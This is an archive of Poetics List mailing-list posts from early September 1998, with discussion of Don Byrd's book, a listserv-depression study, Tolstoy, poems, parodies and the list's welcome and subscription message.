> *hi loss...*
>
> *it might be my own email, but the digest didn't come*
> *today again -- and when i sent a 'review poetics' command*
> *to the listserv address, nothing came back...*
>
> *any ideas?...*
>
> *thanks...*
>
> *out...*
> *peter*

↑ Index

101. Joe Amato/Kass Fleisher

Re: Byrd/common knowledge

Sat 5 Sep 1998

thanx to matt for mentioning my book...

indeed i studied with don, so it's difficult to be objective (if that's what i'm supposed to be)... but w/o trying to cozy up to the guy (b/c he's someone i care for lots---but there i go!), and simple as i can say it, don's book is one of the very few that attempts to map the contours of late 20th century north american thought and culture through the lens of poetic urgencies and insurgencies (and not the other way 'round)... his syntax is occasionally difficult, his theorizing often seems (seams) stream(s) of consciousness... but if you can get with the flows, it's a most rewarding excursion... if he doesn't manage to address ideological realities to everyone's satisfaction, he does at the same time offer a critique of technology, information technologies in particular, that works the human-writing (or more broadly, making) interfaces...

there are answers in the book, in short, or directions, but the provocation is such that there are no easy answers/directions... i see them in general, and i trust this is not too abstruse, as having to do with (re)covering the full measure of the finite (as opposed to the infinite)... which as don would have it, as i read him, is less a matter of epistemology than of ecology, less a matter of metaphysics than of physics... yes, a certain utilitarian drift in don's prompts---but then, this is also a mark of our age, no?...

well anyway, so i (would) think, like to or not... the concluding few pages of the book are, in my view, breathtaking...

best,

joe

↑ Index

102. Todd Baron /*/ ReMap
TOLSTOY
Sat 5 Sep 1998

---

does anyone know which volume of Tolstoy's work might have the short story
"After the ball" in it?

thanks--

Todd Baron
(reMap)

ps: Thank-you all for work for ReMap #7. THe deadline of Sept. 1st has arrived and gone. #8 has no deadline nor theme as yet. If anyone contacted me about sending work and I replied--please still send it. Others, are thanked considerably.

↑ Index

103. R.Gancie/C.Parcelli
Don Byrd's The Poetics of The Common Knowledge
Sat 5 Sep 1998

As I've posted before, I finished Don Byrd's The Poetics of The Common Knowledge and was impressed by it on a number of levels. I always welcome intellectual histories as informed, energetic and original as the one that occupies the first couple of hundred pages. I disagree with Byrd's idea that feedback and its attendant scientific and technological applications erase old philosophical paradoxes and inconsistencies and point toward a new epistemology, hermeneutics and poetry. But his arguments concerning such matters that arise out of the work done by Maturana, Verala, Prigogine, Bateson, Wiener et al are compelling and have made me rethink and, I hope, refine a number of my positions. As though this isn't enough reward for reading the book, Byrd squarely places the sciences (artificial intelligence, cognitive science, particle physics, chaos theory etc. etc.)at the center of discourse--"The Common Knowlege"--where they most obviously are and this includes poetic discourse. Joe Amato's observation seems indisputable: there is a utile (to borrow David Jones' term) import to

Byrd's book that draws on the authority of the sciences. As far as I'm concerned, given the squishy self-indulgence of the New Georgians, the intentional and (f)utile hermeticism and critical dependency of langpo, and the not-good-enough-for-prime-time performance poets et al, this is all to the good for poetry. Byrd's plan, far from being eclectic, is focussed and concrete and a great jumping off text for any further discussion that, wants to connect (and I mean really connect) with current conditions.---Carlo Parcelli

↑ Index

104. Laura E. Wright

Re: question

Sat 5 Sep 1998

Poproj wrote:

> *I've been informed today that a study has linked listservs & "virtual" communities to increased feelings of social isolation & major depression among folks already suffering from said feelings. Can anyone verify this?*
> *-- Anselm Berrigan*

One can say anything with statistics -- that's the joy and uselessness of them. It's rarely useful, I've found, to discuss depression in such terms anyhow. Reminds me of the psych. nurse, years ago, who told me to put on some makeup and go to my activities so I wouldn't feel suicidal.

Great book, by the way, on depression is William Styron's Darkness Visible. And it's about the length one can stand to read when moderately depressed.

Laura

--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *
"All music is music..." -- Ted Berrigan
* * * * * *
"It is very much like it" -- Gertrude Stein

↑ Index

105. **Thomas Bell**
Re: Re : Anselm B's question
Sat 5 Sep 1998

I would agree that what might be measured by the study is disappointment of heightened expectations. If this were true of only 10% of the participants it would skew the results. If one were to survey (and I think the study was a survey rather than a study although the media tends not to make fine distinctionns) poetry readers vs. non-readers and 10% of the readers started in the expectation of receiving pleasure (an interesting question in itself) they would be disappointed and the survey would then "show" that reading poetry "causes" depression. This may be the case?

tom bell

A. Jenn Sondheim wrote:
>

> *It does seem to me to be true by and large, but it has a lot to do with user's expectations. When I've taught I have found people thinking the Net would be a lot easier than it is, that the interactivity would be simplified, that it would be easy to meet people online, that it would be a kinder place than it is, that it would automatically bring people together, that it would be fun, that the software would be simple to set up, that the ISP software in particular would go in easily, and so forth and so on. And all these things then confound people who might be uncomfortable with the computer in the first place. As far as I know the study didn't take into account who had or hadn't used computers before, things like that. It makes a difference. One final issue by the way is the sheer volume of information - beginning users tend to keep every email they get (I know someone with 8000 files of it and someone else who has had up to 5000 messages in the inbox) - and then become extremely depressed when they discover it's all useless, impossible to read, almost impossible to catalog. Or someone looking, say, for articles on Japan, entering Japan in say Alta Vista and coming up with several hundred thousand replies...*
>
> *Alan*

↑ Index

106. **Mark Weiss**
Re: question
Sat 5 Sep 1998

Not the least of these faults is that for those percentage differences to be statistically significant the study population would have had to be enormous.

At 11:23 AM 9/5/98 -0400, you wrote:
>As I remember it was some major info/techno companies who were hoping that
>the study would indicate just the opposite of what it did. I also seem to
>remember that the study indicated a 1 percent increase on the depression
>axis and a four/tenths of 1 percent increase on the alienation axis. The
>researchers claim that these results are statistically significant. They
>may be, but they don't seem earthshaking especially given what appear to
>be the many faults of the study discussed here. GIGO! shit in, shit out.
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>tears,
>Steven
>
>
>On Fri, 4 Sep 1998, Billy Little wrote:
>
>> who payed for this survey
>>
>> billy little
>> 4 song st.
>> nowhere, b.c. V0R1Z0
>>
>> ah! those strange people who have the courage to be unhappy!
>> Are they unhappy, by the way?
>>
>> Alice James
>>
>
>

↑ Index

107. Mark DuCharme
Re: Robert Creeley Reading at Naropa
Sat 5 Sep 1998

Lisa
What time does the reading start?

-Mark DuCharme <[redacted]>

Lisa Trank <[redacted]> wrote

>Robert Creeley will be giving a reading, Saturday, September 19, 1998 at

>The Naropa Institute, to benefit SEI (Students for Ethnic Inclusion);
>Performing Arts Center, 2130 Arapahoe Avenue, Boulder, CO; $8/general and
>$/students, Naropa folks, seniors. For information, please call (303) 546
>- 3508.
>
>
>Lisa Trank
>The Naropa Institute
>

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

108. **louis stroffolino**
Re: ANSELM B's QUESTION
Sat 5 Sep 1998

Do you mean verify this personally?
Like "Yeah, I WANNA TESTIFY WHAT THE Listserv's DONE TO ME"?

If so, I wonder if anyone can verify the study that links "poetry scenes" to increased feelings of social isolation & major depressions among folks already suffering from said feelings ?

chris s.

On Fri, 4 Sep 1998, Poproj wrote:

> *I've been informed today that a study has linked listservs & "virtual" communities to increased feelings of social isolation & major depression among folks already suffering from said feelings. Can anyone verify this?*
> *-- Anselm Berrigan*

↑ Index

109. **Herb Levy**
New York readings?
Sat 5 Sep 1998

I'll be in New York 23-27 September & wondered what readings are going on then. I won't have evenings free, but there're still weekend afternoon reading series, right?

Evenings on the 24th to 26th, at least, I'll be at Suspended Music, concerts by Deep Listening Band (Pauline Oliverso, Stuart Dempster * David Gamper) & Ellen Fullman's Long String Instrument (100 feet long) in the Low Library building of the Columbia U campus. (The concerts are FREE & should be very good - stop by & say hi).

(& as long I've got your attention, just put up this morning on Antenna Radio, my feature program on John Cage. None of his poetry, but lots of music. The show is Mappings at <http://www.antennaradio.com>.)

Bests,

Herb

Herb Levy
[redacted]

↑ Index

110. Rachel Levitsky
Re: question
Sat 5 Sep 1998

Yeah, don't know about ya'all but, when feeling suicidal, I feel suicidal through makeup, activities and reading the posts on the poetics list.

Which is to say that these communications, while at times game-like and fun, could ever for me equal lying on my best friend's bed or my neighbor ringing my bell.

Laura E. Wright wrote:
>
> Poproj wrote:
>
> > I've been informed today that a study has linked listservs & "virtual"
> > communities to increased feelings of social isolation & major depression
> > among folks already suffering from said feelings. Can anyone verify this?
> > -- Anselm Berrigan
>
> One can say anything with statistics -- that's the joy and uselessness of
> them. It's rarely useful, I've found, to discuss depression in such terms
> anyhow. Reminds me of the psych. nurse, years ago, who told me to put on
> some makeup and go to my activities so I wouldn't feel suicidal.
>
> Great book, by the way, on depression is William Styron's Darkness Visible.
> And it's about the length one can stand to read when moderately depressed.
>

> Laura
>
> --
> Laura Wright
> Library Assistant
> Allen Ginsberg Library, The Naropa Institute
> 2130 Arapahoe Ave
> Boulder, CO 80302
> [redacted]
> * * * * * *
> "All music is music..." -- Ted Berrigan
> * * * * * *
> "It is very much like it" -- Gertrude Stein

↑ Index

111. Tabby Nackle
CAL FIRM TO TEST SUICIDE MACHINE
Sat 5 Sep 1998

CALIFORNIA FIRM TO TEST SUICIDE MACHINE
by B.P. Jackson and James R. "Tabby" Nackle

San Diego (MP) -- Announcing plans to seek beta sites for testing of a new "bio-psych" technology to be mass-marketed over the Internet, a California firm unveiled it's much ballyhooed "Execu-Will" suicide kit. Leading computer advocates and local business leaders hailed the announcement by MindMites of La Jolla as exemplary of the effects of "hot money" on a region such as Southern California, where there are numerous bio-psych companies. Critics criticized bio-psych as simply new economic terrain created by the commodification of 1970s "biofeedback" techniques. They claimed MindMites was only cashing in on what amounted to natural, holistic processes, and vowed that they would fight Execu-Will by offering their own suicide kit over the Internet for free. "We hope to drive them out of business by making what they hope to sell freely available," said Giovanni Troubadour, a spokesman for the group "Anti BioPsych Alliance." Execu-Will works through a series of mediated suggestions which are supposed to be taken literally, according to company insiders who spoke on the condition of anonymity. "It works on the presumption that if you read something, experience something, have a thought even, that those things are to be regarded as true," the insider said. "Execu-Will," the source continued, "regards that belief is the most important tool is modifying human behavior and physiological functioning." Through a complex series of thought patterns and "throught-driven" modifications (heart rate, for instance) different "goals" can be achieved. The goals of the Execu-Will suicide machine are obvious: slowing

of the heart rate to brain death, whereupon all other functioning eventually ceases. However, to allieviate the tendency towards self-preservation, the "machine's" bio-psych functioning works to "execute the will," (i.e. the "will to live"). For reasons which remain unclear, "fear" is the only anticipated ingredient to have been left out of the Execu-Will package. It is widely believed that many companies are rushing to develop and patent different bio-psych combinations of thought patterns, and most experts had believed that fear would be a major factor in the product announced today. Fear has always been the most widely used bio-psych tool. The hope of bio-psych firms is that new fear-based products will lead to an explosion of new weapons technologies. Long in prototype, the Execu-Will suicide machine had been anticipated for over a year.

↑ Index

112. Laura E. Wright
Re: TOLSTOY
Sat 5 Sep 1998

It's in Six Short Masterpieces by Tolstoy -- which appears to be out of print but might be findable in a library. There's also a Norton edition of Tolstoy's Short Stories (edited by Michael Katz) that _is_ in print.

Todd Baron /*/ ReMap wrote:

> *does anyone know which volume of Tolstoy's work might have the short story*
> *"After the ball" in it?*
>
> *thanks--*
>
> *Todd Baron*
> *(reMap)*
>
> *ps: Thank-you all for work for ReMap #7. THe deadline of Sept. 1st has arrived and gone. #8 has no deadline nor theme as yet. If anyone contacted me about sending work and I replied--please still send it. Others, are thanked considerably.*

--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *
"All music is music..." -- Ted Berrigan

* * * * * *

"It is very much like it" -- Gertrude Stein

↑ Index

113. Charles Bernstein
QUERIES (CB and DS)
Sat 5 Sep 1998

> *Date: Tue, 18 Aug 1998 22:12:38 -0400*
> *From: louis stroffolino <[redacted]>*
>
> *Does anybody here know what Bernstein poem (i think it's at least*
> *9 years old) that has some line (or sentiment) to the effect of*
> *"Hey, I'm glad I didn't live any longer, because if I would have*
> *I would have had to spend more money?"*
> *(this is a TOTAL paraphrase, from flimsy memory....*
> *I probably have the TONE totally wrong, and maybe even the*
> *MEANING). Any help would be appreciated? Thanks*

****

"Debris of Shock/Shock of Debris" in _Dark City_:

"If I'd have lived longer, I'd have lost
even more money."

↑ Index

114. david bromige
Charles B's poem : one response
Sat 5 Sep 1998

After Bernstein

There's a price
we shall pay for
remaining above
ground. Just like
we flew to Florida,
it's gonna cost.
"Desirable beachfront
hotel or condo"--
that's what your life
must amount to, now.

You wanna poke your
head up outa the earth,

like some prairie dog?
Like some living dead?
Some insistent zombie?
Okay let's see plastic
on that. Full occupancy
ensures rates stay high.
You could be buried in
one of many mass graves.
Sprinkled with lime.
Out of the future action.

But (somehow--some
secretary's social gaffe)
here you are. So, whaddya
got to say for yourself,
Mr/Ms Living Tissue, huh?
You're eminently replaceable.
So far. We're barely waiting.
The mere factoid of you,
The Creation, palls fast.

Those appurtenances--all of
them--we can replace, & will.
That pilgrim soul stacks up
in warehouses globally. Our
inventory embarrasses. So
give it what you got plus,
'cause we aren't in Kansas
any more, no, nor New York.

Hey! Your atoms persist--
whyntya just check out?
Space is at a premium,
and evolution's draft picks
were published yesterday.
Godknows you're beautiful,
lovely, talented, gifted,
subjectively marvelous :
but God quit the board
in a snit. Hike it higher.

↑ Index

115. michael corbin
Re: Charles B's poem : one response
Sat 5 Sep 1998

david bromige wrote:

> *After Bernstein*
>
> *There's a price*
> *we shall pay*

Specieees being has been downraded to a tropical depression,
a correction to too high prices
dearly puchased from a last fire sale, 'cause god gave Noah
the rainbow sign
To the Haitian knuckler-baller escaping from bad derivatives
on the coast-guard cutter
signing a contract with majordomo leagues 20 thousand, thousand
under the sea.
But he played both ways, offense and defense, so he signed a contract
with an agent who didn't know the margins paid
Or the prices of moving expenses for living too long
and not using the escape clause
to be, that is needs be the freee angent.

mc

↑ Index

116. joel lewis
f.y.i.
Sat 5 Sep 1998

*** Deserted Channel Island chain regains Union Jack

PARIS (Reuters) - British honor was restored Thursday when invaders from the non-existent kingdom of Patagonia handed back a flag seized five days earlier from the most southerly outpost of the British isles. However French eccentric Jean Raspail, self-proclaimed consul general of Patagonia, warned that his marines would swing back into action early in the next century and once again stake claim to the deseerted Minquiers archipelago in the Channel. "Every so often the Kingdom of Patagonia needs some territory," Raspail said after handing back a slightly tattered Union Jack flag to the British Embassy. See http://www.infobeat.com/stories/cgi/story.cgi?id=2555873536-ce3

↑ Index

117. Franklin Bruno
under thirty over sixty
Sat 5 Sep 1998

Yes to the below. I was going to write to Joel about this backchannel, but--after discussing the plans for the conference w/ Paul and Standard and Guy Bennett, it's looking very clear that questioning the point of generational divisions is going to have as much to with the discussion as preserving them; even if the magazine doesn't 'deconstruct generational markers' in the end, I'll bet the conference will.

So, Joel, bring your picket sign; having a problem with the terms of the discussion is a better reason to come than it is a reason not to. (Also--you can do a Meow display at the book party.)

And I second the recommendation of Bill Luoma's book. There's some mystery of technique here--when I write anything with friends' names in it, it falls flat, but this isn't the case in Works & Days. And I don't entirely think it's because some of the 'characters' are poets I've read, either. I once read a comment to the effect that Frank O'Hara's poems have -helped- make all those people famous.
>
>fjb
>
>Jacques Debrot wrote:
>
>>But Mark, what your examples fail to account for is that the arbitrariness of
>>-30 +60 is not self-evident as are the examples you give. Vangelisti's
>>juxtaposition is interesting both for what it might & might not disclose -- it
>>might perhaps prove Kuszai's contention, not through assertion, but
>>dramatically; or it may not deconstruct generational markers at all; in any
>>case the particular inventiveness of V's idea is that he combines the
>>traditionalist idea of anthology (+60) with the insurgent (-30).
>>Unfortunately I myself don't qualify on either count, but then, I never felt
>>I needed to be published in every issue of every magazine I ever liked.
>

↑ Index

118. Todd Baron /*/ ReMap
Re: TOLSTOY
Sun 6 Sep 1998

Laura E. Wright wrote:
>

> It's in Six Short Masterpieces by Tolstoy -- which appears to be out of
> print but might be findable in a library. There's also a Norton edition
> of Tolstoy's Short Stories (edited by Michael Katz) that _is_ in print.
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> > does anyone know which volume of Tolstoy's work might have the short
> > story
> > "After the ball" in it?
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> > thanks--
> >
> > Todd Baron
> > (reMap)
> >
> > ps: Thank-you all for work for ReMap #7. THe deadline of Sept. 1st has
> > arrived and gone. #8 has no deadline nor theme as yet. If anyone
> > contacted me about sending work and I replied--please still send it.
> > Others, are thanked considerably.
>
> --
> Laura Wright
> Library Assistant
> Allen Ginsberg Library, The Naropa Institute
>

Laura: thank-you so much! It's a wondrous story and--yr right--the
frickin' thing (O)
is out of print in that edition--but I got it--so

thanks so very,

Todd

↑ Index

119. A. Jenn Sondheim
Some Europe
Sun 6 Sep 1998

-

Some Europe

Why do the French, for example, Julia Kristeva and the chatterings asso- ciated with the chora and ruptures, or Jean-Jacques Lecercle and delirium, then take

Gilles Deleuze on non-sense or Catherine Clement on rapture, or the opening of Anti-Oedipus or practically the w/hole of Libidinal Econo- my, then there's the latent hysteria in The Story of the Eye, I mean why do the French - and this becomes something for the English or the Ameri- cans - some sort of escape into the preconception of depth where no one treads - there's always the unconscious - good etiquette keeps it down as does the internal evidence of the text - for example foreclosing or fire- walls around what constitutes sense - reading the endless descriptions in P.D. James for example - there is a sort of rectitude of class everywhere present in this thinking and I'd say even in for example the performative which becomes clear-cut and no wonder everyone gets upset with Derrida spilling ink all over the margins; of course Huntington's been taken apart for his climatological theories of civilization, so we've got to look elsewhere as France (yes, Kristeva and Derrida only half-way in and out, and for that matter let's not forget Lacan's choratic behaviors on and off the text) might be the testicle of Spain but there the image rummages around and comes to an end - it's not as if there's the necessity for a sudden bursting-forth like you get, maybe in Lautreamont, Rimbaud as well, but you don't get in Japan and France isn't simply that regimented although regimented indeed - so why there, language-control-subversion _from the lowest levels_ in the form of a conspiracy I don't know - but these _chatterings_ (let's not forget feminin ecriture, Irigaray, Wittig, Cixous, or what might pass for masculin ecriture, Barthes, Sollers for two, ever read his Women? I did for the in-sites) are everywhere, taking apart foundations or what might pass for them (let's not forget however Rene Thom, the Bourbaki, even Benoit Mandlebrot on the other side of the coin, all these mother-structures appearing - I'd put Pierre Duhem's analysis somewhere in the middle of all this) - you've got cooling ponds on the surface with their ordered ciliated enfoldings of structured shorelines and down deep, Leviathans breaking out (look at Roustang or Clement Rosset, now we're talking) or shuttling around the surface (then there's the German analyses of classical geometric surfaces and their ur-structures, think of Klein, although there are Manning and Sommerville for n-dimensional stuff, not to mention Coxeter) - one might wonder about the flaneur tradition (situationism, Baudelaire, Beau Brummel) as far as that goes, the whole francophonic enterprise as it were, one great derive - look at Balzac and one couldn't leave out, in the entirety across the board, Rabelais - or the Flaubert of Saint Anthony or Salome - from which all sorts of disturbances erupt - I prefer Bouvard and Pecuchet myself - it's subtler there, the choratic breaking out as ripples across the cool- ing ponds, especially in the received notions section of the book - one might place, especially in regard to derive, the vagabonding of Villon naturally enough - as if nature were artifice vis-a-vis Mallarme (not to mention the Quebecois Gaston Miron, which opens up all sorts of possibil- ities - Nicole Brossard's ecriture feminin, Hubert Acquin's Robbe-Grillet coupled with frisson and anti-colonialism, Paul Chamberland's

eruption, Marie Claire-Blais' burning homes, flamed desires) - as Victor Beaulieu might point out the Catholicisms erupting as well (look at Bataille, Leiris once again, no wait, Verlaine), even sciences' chatterings in the guise of Michel Serres (not to mention Foucault somewhere hungering about the Bourbaki if I had my way about it) - or Sartre's Being and Nothingness finishing off with slimy holes, you get the picture (all those theories of representation, say Christian Metz) - broken by Baudrillard turning rup- ture into rapture into and out of fine art - it's a big swirl, it has no beginning and no end, it just goes round and round and doesn't escape the borders of the continent - oh yes, it's been incontinent - there have been missives, missions, missionaries - unceasing flooding of lapped shores world-wide - Celine would pause at one or another point here - place three little dots - _all_ those shores - I'll refuse to do it - it's been an industry (don't forget for a second the analyses of Pierre Bourdieu, Regis Debray) - it turns in on itself - it implodes - a precession of thinking simulacra - (actants maybe in Greimas, sad and fallen leaves and leavings in Violet Leduc) - world-wide influence (Sartre and de Beauvoir beaver to his mister, Levi-Strauss' discontent with structure turned music, telling his way through the saying of culture in spite of everything or Piaget bringing it back in essai de logique operatoire) - one's got to give cre- dit to rapture still (Michel Tournier doing to Robinson Crusoe or The Ogre) - just a moment, the phone's ringing (Pierre Levy on the other end of the line) (extending outward like hermaphroditic pubic hair) (curling around Sarduy as everyone comes to Paris) (drugged by Michaux) (killed by Artaud) just a moment, the bell's ringing (running down the flow) (someone I don't know)

↑ Index

120. Ron Silliman
A hopeful note?
Sun 6 Sep 1998

MORE PROOF FROM THE MAELSTROM

Extract from the Durbanville Times 23 July 1998:

Rita de Grooning, a paraplegic garage attendant in Durbanville, recently remarked that during the troubled years after her first accident, damaging and ultimately losing a leg while clearing mines in southern Sudan, she turned to the work of E M Cronenmeyer, L=A=N=G=U=A=G=E poet of South Africa.

“Cronenmeyer is instantly forgettable, he's so difficult and manages to avoid stating anything clearly. I spent hours trying to work out what he was on about. It's brilliant stuff," remarked de Grooning. "I was faced with some difficult

political situations up there. Poverty, war, disease. It’s refreshing to turn to a poet like Cronenmeyer to get away from the real world."

Asked to clarify, de Grooning went on, "Well, when someone’s dying under an oppressive regime, there's more than one possible angle- they get it wrong, taking it personally. Especially women, who haven’t had much luck with pronouns in literature anyway, I guess. We need poetry that avoids personal history, is really difficult and means little to the people being slaughtered. That’s clearly the way forward for poetry; I've read all the theories."

The collected works of E M Cronenmeyer, "Oh God, I Really Hate Pronouns", is available from Sin-Tax, Cape Town.

Off of the Poetry Etc email list, 8/31/98, thanks to Chris Emery

↑ Index

121. Daniel Zimmerman
Re: Some Europe
Sun 6 Sep 1998

A. Jenn Sondheim wrote:
>
> -
>
> Some Europe
>
> Why do the French, for example, Julia Kristeva and the chatterings asso-
> ciated with the chora and ruptures, or Jean-Jacques Lecercle and delirium,
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> the opening of Anti-Oedipus or practically the w/hole of Libidinal Econo-
> my, then there's the latent hysteria in The Story of the Eye, I mean why
> do the French - and this becomes something for the English or the Ameri-
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> P.D. James for example - there is a sort of rectitude of class everywhere
> present in this thinking and I'd say even in for example the performative
> which becomes clear-cut and no wonder everyone gets upset with Derrida
> spilling ink all over the margins; of course Huntington's been taken apart
> for his climatological theories of civilization, so we've got to look
> elsewhere as France (yes, Kristeva and Derrida only half-way in and out,
> and for that matter let's not forget Lacan's choratic behaviors on and off
> the text) might be the testicle of Spain but there the image rummages

> around and comes to an end - it's not as if there's the necessity for a
> sudden bursting-forth like you get, maybe in Lautreamont, Rimbaud as well,
> but you don't get in Japan and France isn't simply that regimented
> although regimented indeed - so why there, language-control-subversion
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> apart foundations or what might pass for them (let's not forget however
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> analysis somewhere in the middle of all this) - you've got cooling ponds
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> Clement Rosset, now we're talking) or shuttling around the surface (then
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> beginning and no end, it just goes round and round and doesn't escape the
> borders of the continent - oh yes, it's been incontinent - there have been
> missives, missions, missionaries - unceasing flooding of lapped shores
> world-wide - Celine would pause at one or another point here - place three

> little dots - _all_ those shores - I'll refuse to do it - it's been an
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> Ogre) - just a moment, the phone's ringing (Pierre Levy on the other end
> of the line) (extending outward like hermaphroditic pubic hair) (curling
> around Sarduy as everyone comes to Paris) (drugged by Michaux) (killed by
> Artaud) just a moment, the bell's ringing (running down the flow) (someone
> I don't know)
>
> _____
Sorry about that.

↑ Index

122. louis stroffolino
Re: QUERIES (CB and DS)
Sun 6 Sep 1998

Thanks Charles----
Chris Stroffolino

On Sat, 5 Sep 1998, Charles Bernstein wrote:

> *Date: Tue, 18 Aug 1998 22:12:38 -0400*
> *From: louis stroffolino <[redacted]>*
>
> *Does anybody here know what Bernstein poem (i think it's at least*
> *9 years old) that has some line (or sentiment) to the effect of*
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> *I would have had to spend more money?"*
> *(this is a TOTAL paraphrase, from flimsy memory....*
> *I probably have the TONE totally wrong, and maybe even the*
> *MEANING). Any help would be appreciated? Thanks*
>
> ****

> *"Debris of Shock/Shock of Debris" in _Dark City_:*
>
> *"If I'd have lived longer, I'd have lost*
> *even more money."*

↑ Index

123. William Marsh
chapbooks from PaperBrainPress
Sun 6 Sep 1998

Greetings Folks:

Hot of the press and ice-cold from the fridge...

mag nets (m. magoolaghan) - 20 pp.

(Method: Semi-serendipitous "Rude formalism": Tiles pulled randomly from packaging; loose letters & uncropped combos incorporated as-wuz.)

Still warm...

ROOMS (Dan Featherston) -- 40 pp.

"The poems in ROOMS are so very well constructed, with a pulse inside them that immediately engages at a deep level while attending to the surfaces en route." -- Sheila Murphy

Samples viewable at:
http://bmarsh.dtai.com/PBrain/magnets.html
http://bmarsh.dtai.com/PBrain/rooms.html

$3 for one | $5 for both | Checks to William Marsh | love to all

(more general stuff on the press effort at:
http://bmarsh.dtai.com/PBrain/pbrain.html)

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

↑ Index

124. Billy Little
Re: Some Europe
Sun 6 Sep 1998

guy debord will bring the hot dogs
and raoul vanigem wants you to save some kumquat krumble

billy little
4 song st.
nowhere, b.c. V0R1Z0

ah! those strange people who have the courage to be unhappy! Are they unhappy, by the way?

Alice James

↑ Index

125. Poetics List
Welcome to Poetics List
Sun 6 Sep 1998

--==========_12493494==_.ALT

Rev. 6-1-98

(This message is sent out to all new and renewing subscribers and it is sent out to the list at the beginning of every month -- a bit late this month!)

_____

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

Postal Address: 438 Clemens Hall, SUNY, Buffalo, NY 14260

_____

http://writing.upenn.edu/epc

_____

_____Contents_____

1. About the Poetics List 2. Subscriptions 3. Cautions 4. Digest Option 5. Temporarily turning off Poetics mail 6. Who's Subscribed 7. The Electronic Poetry Center (EPC) 8. Poetics Archives at EPC 9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]), Loss PequeñoGlazier ([redacted]), and Joel Kuszai ([redacted]).

Above the world-weary horizons New obstacles for exchange arise Or unfold, O ye
postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently over 600 subscribers.

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible. **We also encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear (see section 9 below).** (THIS MEANS *YOU*).

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *Posting to Poetics is a form of publication, not personal communication.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

The "list owner" of Poetics is Charles Bernstein. Joel Kuszai is list manager.
For subscription information contact us at [redacted].

---

2. Subscriptions

Subscriptions to Poetics are free of charge. But we ask that you subscribe with your real name and we reserve the right to request additional information, including address and phone number. All subscription information you supply will remain confidential.

with no subject line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity. Please allow several days for your new or re-subscription to take effect.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you may be able to substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply resubscribe to the list in the normal manner, once your account problem has been resolved.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address: [redacted]. Please note that it may take up to ten days, or more, for us to reply to messages. _____

3. Cautions

Please do not post to the list personal or backchannel correspondence, or other unpublished material, without the express permission of the author. Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

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---

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set poetics nomail

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---

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or try:

review POETICS by name review POETICS by country

which will give you the list alphabetically by name or a flawed list by country
(since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

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Or set your browser to go directly to:
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---

9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor will save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

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Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

_____

END OF POETICS LIST WELCOME

--==========_12493494==_.ALT

<html>

<font size=3>Rev. 6-1-98

(This message is sent out to all new and renewing subscribers and it is sent out to the list at the beginning of every month -- a bit late this month!)
_____

